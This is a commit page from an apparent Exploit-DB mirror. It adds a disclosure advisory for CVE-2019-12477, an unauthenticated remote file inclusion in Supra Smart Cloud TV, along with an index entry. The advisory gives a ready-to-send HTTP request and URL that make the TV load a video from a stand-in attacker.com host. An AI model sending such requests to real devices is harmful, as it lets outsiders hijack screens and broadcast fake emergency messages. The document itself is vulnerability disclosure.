bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

DB: 2019-06-07

Browse source 
1 changes to exploits/shellcodes

Supra Smart Cloud TV - 'openLiveURL()' Remote File Inclusion
This commit is contained in:
Offensive Security 2019-06-07 05:01:54 +00:00
parent e76aee5eaf
commit 35d500a3cb
2 changed files with 60 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

59
exploits/hardware/webapps/46971.txt Normal file
View file

@ -0,0 +1,59 @@
Exploit Title: Remote file inclusion
# Date: 03-06-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://supra.ru
# Software Link: https://supra.ru/catalog/televizory/televizor_supra_stv_lc40lt0020f/
# CVE: CVE-2019-12477
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-12477
# https://www.inputzero.io/2019/06/hacking-smart-tv.html
Summary:
Supra Smart Cloud TV allows remote file inclusion in the openLiveURL
function, which allows a local attacker to broadcast fake video without any
authentication via a /remote/media_control?action=setUri&uri=URI
Technical Observation:
We are abusing `openLiveURL()` which allows a local attacker to broadcast
video on supra smart cloud TV. I found this vulnerability initially by
source code review and then by crawling the application and reading every
request helped me to trigger this vulnerability.
Vulnerable code:
function openLiveTV(url)
{
$.get("/remote/media_control",
{m_action:'setUri',m_uri:url,m_type:'video/*'},
function (data, textStatus){
if("success"==textStatus){
alert(textStatus);
}else
{
alert(textStatus);
}
});
}
Vulnerable request:
GET /remote/media_control?action=setUri&uri=
http://attacker.com/fake_broadcast_message.m3u8 HTTP/1.1
Host: 192.168.1.155
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0)
Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
To trigger the vulnerability you can send a crafted request to the URL,
http://192.168.1.155/remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8
Although the above mention URL takes (.m3u8) format based video. We can use
`curl -v -X GET` to send such request, typically this is an unauth remote
file inclusion. An attacker could broadcast any video without any
authentication, the worst case attacker could leverage this vulnerability
to broadcast a fake emergency message.

1
files_exploits.csv
View file

@ -41379,3 +41379,4 @@ id,file,description,date,author,type,platform,port
46965,exploits/java/webapps/46965.txt,"Zoho ManageEngine ServiceDesk Plus 9.3 - 'SearchN.do' Cross-Site Scripting",2019-06-04,Vingroup,webapps,java,
46966,exploits/java/webapps/46966.txt,"Zoho ManageEngine ServiceDesk Plus 9.3 - 'PurchaseRequest.do' Cross-Site Scripting",2019-06-04,Vingroup,webapps,java,
46967,exploits/jsp/webapps/46967.py,"Zimbra < 8.8.11 - XML External Entity Injection / Server-Side Request Forgery",2019-06-05,k8gege,webapps,jsp,
46971,exploits/hardware/webapps/46971.txt,"Supra Smart Cloud TV - 'openLiveURL()' Remote File Inclusion",2019-06-06,"Dhiraj Mishra",webapps,hardware,

Can't render this file because it is too large.